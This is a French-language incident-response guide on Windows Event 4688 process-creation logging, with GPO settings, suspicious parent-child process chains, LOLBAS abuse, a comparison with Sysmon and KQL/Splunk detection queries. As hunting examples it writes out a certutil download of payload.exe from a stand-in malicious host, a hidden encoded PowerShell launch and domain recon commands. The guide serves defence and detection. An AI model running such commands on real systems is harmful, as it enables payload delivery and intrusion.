Par défaut, les environnements Windows modernes n’enregistrent ni la création de processus, ni les arguments de la ligne de commande, invoquant des raisons de confidentialité et d’espace de stockage. Un Événement 4688 dépourvu des données de ligne de commande est sévèrement dégradé pour les besoins du DFIR.
Afin de débloquer le plein potentiel de cet artefact, les administrateurs doivent déployer un objet de stratégie de groupe (GPO) sur l’ensemble du domaine :
Configuration ordinateur > Stratégies > Paramètres Windows > Paramètres de sécurité > Configuration avancée de la stratégie d'audit > Suivi détaillé. Définissez Auditer la création de processus sur Succès.Configuration ordinateur > Stratégies > Modèles d'administration > Système > Audit de la création de processus. Définissez Inclure la ligne de commande dans les événements de création de processus sur Activé.Une fois correctement configuré, le parsing d’un enregistrement d’Événement 4688 livre trois catégories hautement structurées de données forensiques.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe).powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JAB...).L’analyse de la filiation des processus repose sur la compréhension du comportement standard de Windows. L’activité malveillante enfreint souvent ces règles logiques. Les analystes agrègent (stacking) les journaux de l’Événement 4688 pour trouver des relations parent-enfant anormales.
Phishing et abus de macros
Filiation suspecte : outlook.exe ou winword.exe → cmd.exe ou powershell.exe.
Les traitements de texte n’ont aucune raison légitime de générer des interpréteurs de commandes. C’est la signature classique d’une macro malveillante exécutant une charge utile (dropper).
Exécution de Web Shell
Filiation suspecte : w3wp.exe (IIS), httpd.exe, ou tomcat.exe → cmd.exe ou whoami.exe.
Si un démon de serveur web génère un shell interactif ou un binaire de reconnaissance, le serveur a été compromis via un exploit RCE ou un Web Shell.
Les acteurs de la menace utilisent massivement les Living Off The Land Binaries and Scripts (LOLBAS) — des outils natifs de Windows comme certutil.exe, bitsadmin.exe ou rundll32.exe — pour télécharger des charges utiles ou exécuter du code sans déposer de malware personnalisé sur le disque.
L’Événement 4688 expose ces techniques via le champ Command Line. Les analystes doivent traquer :
whoami, net group "Domain Admins" /domain, systeminfo et nltest.-enc, -EncodedCommand, ou d’un bloc massif de caractères alphanumériques dans la ligne de commande est hautement suspecte.certutil.exe -urlcache -split -f http://malicieux.com/payload.exeBien que l’Événement natif 4688 soit excellent, Microsoft propose une alternative avancée : l’Événement Sysmon 1 (Création de processus). Si les deux sont disponibles, Sysmon est largement supérieur.
| Fonctionnalité | Événement Windows 4688 | Événement Sysmon 1 |
|---|---|---|
| Log de la ligne de commande | Nécessite une GPO séparée | Activé par défaut |
| Hash du binaire | Non disponible | MD5, SHA1, SHA256, IMPHASH |
| Nom de fichier original | Non disponible | Oui (met en échec le renommage de binaire) |
| Process GUID | Non disponible | Oui (corrélation sans faille à travers les redémarrages) |
Utilisez ces requêtes pour détecter de manière proactive les filiations de processus anormales et l’offuscation dans votre SIEM.
// Détecte les exécutions de PowerShell contenant les marqueurs courants d'encodage Base64SecurityEvent| where EventID == 4688| where ProcessName has "powershell.exe" or ProcessName has "pwsh.exe"| where CommandLine contains "-e " or CommandLine contains "-enc" or CommandLine contains "-EncodedCommand"| project TimeGenerated, Computer, Account, ParentProcessName, ProcessName, CommandLine| sort by TimeGenerated desc# Détecte les applications Office ou les serveurs Web générant des shells de commandeindex=windows sourcetype="WinEventLog:Security" EventCode=4688| eval ParentProcessName=lower(Creator_Process_Name)| eval ProcessName=lower(New_Process_Name)| search ParentProcessName IN ("*\\winword.exe", "*\\excel.exe", "*\\outlook.exe", "*\\w3wp.exe", "*\\httpd.exe") AND ProcessName IN ("*\\cmd.exe", "*\\powershell.exe", "*\\wscript.exe", "*\\cscript.exe")| table _time, host, Account_Name, ParentProcessName, ProcessName, Process_Command_Line